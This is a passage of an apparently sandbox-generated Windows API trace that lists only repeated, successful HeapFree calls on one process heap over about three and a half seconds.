	[0083.991] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.992] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0083.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.994] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.000] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0084.001] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0084.001] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0084.002] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.002] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0084.002] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.003] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0084.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4023038 | out: hHeap=0x720000) returned 1
	[0084.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0084.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0084.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0084.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0084.011] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.011] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0084.011] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0084.018] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0084.019] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0084.019] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.019] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0084.020] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.162] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0084.668] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0084.672] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.672] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.672] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0084.686] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.686] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.686] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0084.686] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0084.715] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0084.716] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0084.716] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0084.717] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.718] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.719] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0084.783] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.888] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0084.902] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0084.915] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.916] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.918] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.079] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.079] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.089] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.092] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.093] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.093] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.096] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.096] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.096] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0085.100] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0085.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0085.570] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.570] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.570] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.576] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0085.576] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.577] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0085.577] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.579] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.579] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.582] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.582] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.603] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.604] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.605] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.605] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.607] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.607] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.610] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.610] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.611] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.620] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.620] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0085.620] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.620] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.632] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0085.633] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0085.634] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0085.634] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0085.634] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333a8 | out: hHeap=0x720000) returned 1
	[0085.636] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0085.636] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0085.642] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.644] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.644] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.644] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0085.645] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.645] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0085.646] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0085.647] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0085.648] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.648] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0086.134] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0086.134] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0086.152] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0086.152] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0086.152] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.153] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0086.154] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0086.155] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0086.156] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0086.156] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0086.157] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0086.157] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.157] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0086.158] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0086.160] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0086.160] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0086.160] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0086.162] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.163] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.163] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.163] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.163] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.163] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.163] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.164] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.164] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.164] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.164] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.164] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.164] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.165] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.165] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.165] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.165] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.165] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.166] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.166] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.166] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.166] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.166] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.167] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.167] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.167] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.167] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.168] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.168] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.168] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.168] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.168] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.170] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.170] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.170] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.170] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.170] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.171] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.172] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.172] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.172] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.172] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.172] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.173] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.173] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.173] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.173] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.174] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.174] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.174] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.174] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.174] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.175] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.175] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.175] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.175] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.175] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0086.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0086.176] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0086.177] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.178] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0086.178] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0086.178] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0086.619] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.345] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.345] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.371] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.371] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.372] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.372] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.376] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.376] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.378] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.381] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.382] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.382] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.382] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.386] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.387] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0087.387] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.389] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0087.389] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.389] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.391] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.391] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.391] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.392] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0087.392] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.392] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0087.394] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.394] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.394] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
